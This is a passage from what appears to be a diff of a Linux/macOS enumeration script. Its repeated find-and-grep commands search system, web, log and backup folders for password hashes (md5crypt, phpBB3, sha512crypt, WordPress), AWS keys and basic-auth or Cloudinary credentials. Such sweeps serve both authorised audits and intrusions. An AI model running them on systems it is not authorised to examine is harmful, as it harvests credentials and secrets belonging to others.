"\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching phpbb3 (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching sha512crypt (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Wordpress (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -echo '' -print_2title "Searching Raw Hashes" -print_3title_no_nl "Searching sha512 (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -echo '' -print_2title "Searching APIs" -print_3title_no_nl "Searching AWS Client ID (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching AWS MWS Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching AWS Secret Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Basic Auth Credentials (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Cloudinary Basic Auth (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 